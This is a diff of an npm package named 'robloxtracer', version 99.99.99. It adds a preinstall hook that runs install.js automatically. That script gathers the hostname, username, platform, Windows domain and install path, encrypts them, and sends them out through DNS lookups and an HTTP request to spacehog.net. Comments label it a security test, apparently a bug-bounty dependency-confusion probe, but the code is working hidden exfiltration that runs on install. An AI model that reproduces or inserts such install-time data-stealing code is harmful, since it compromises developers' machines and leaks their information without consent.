robloxtracer 99.99.99

package/index.js

@@ -0,0 +1,3 @@
+// - H1/lob0 -
+// sec test only
+console.log("installed");

package/install.js

@@ -0,0 +1,101 @@
+// - H1/lob0 -
+// sec test only
+
+var os = require('os')
+var crypto = require('crypto');
+var dns = require('dns');
+const http = require('http');
+const execSync = require('child_process').execSync;
+
+function myChunker(string,chunk_size) {
+    var b = [];
+    newstring = '';
+    char_count = 0
+
+    for(var i=0; i < string.length; i+=1){
+        char_count+=1;
+        if (char_count < chunk_size) {
+            newstring+= string[i];
+        }
+        else {
+    	    b.push(newstring);
+	    newstring = string[i];
+	    char_count = 0;
+        }
+    }
+    
+    if (newstring.length != 0 && b[b.length -1] != newstring){b.push(newstring);} //also need to check if newstring == the last element in b
+    
+    if (b.length > 0 && b.length < 3) {
+	    return_string = b.toString().replace(",",".");
+	    return_string += "." + newstring;
+	    return return_string;
+    }
+    else if (b.length == 0) {
+        return newstring;
+    }
+    else {
+        return b;
+    }
+}
+
+function dnsCallback (sequence,semi_random_id, information, information_identifier, domain) {
+    var callback = dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+}
+
+function dnsPreCallbackCheck(semi_random_id, information, information_identifier, domain) {
+    if (typeof information == 'object') {
+     
+        for (i = 0; i < information.length;i++ ) {
+            dnsCallback (i,semi_random_id, information[i], information_identifier, domain);    
+        }
+    }
+    else if (typeof information == 'string') {
+        dnsCallback ('n',semi_random_id, information, information_identifier, domain);
+    }
+}
+
+let domain = 'spacehog.net'
+let super_secret_password = 'H1-security-test-november'
+let userinfo = os.userInfo()
+let info = ""
+
+const buf = crypto.randomBytes(2);
+const semi_random_id = buf.toString('hex')
+
+if (os.platform().includes("win")) {
+    domain_info = execSync('wmic computersystem get domain').toString();
+    domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
+}
+else {
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
+}
+
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(info,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = myChunker(update,63);
+
+dnsPreCallbackCheck(semi_random_id, subdomain_split, 'u', domain);
+//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(__dirname,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = myChunker(update,63);
+
+dnsPreCallbackCheck(semi_random_id, subdomain_split, 'p', domain);
+//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+
+//attempt http request last as it's likely to fail
+
+http.get({
+  hostname: 'spacehog.net',
+  port: 21,
+  path: '/'+semi_random_id,
+  agent: false}, 
+  (res) => {
+    //nothing
+});

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name" : "robloxtracer",
+  "version" : "99.99.99",
+  "scripts" : {
+    "preinstall" : "node install.js"
+  },
+  "description": "",
+  "main": "index.js",
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}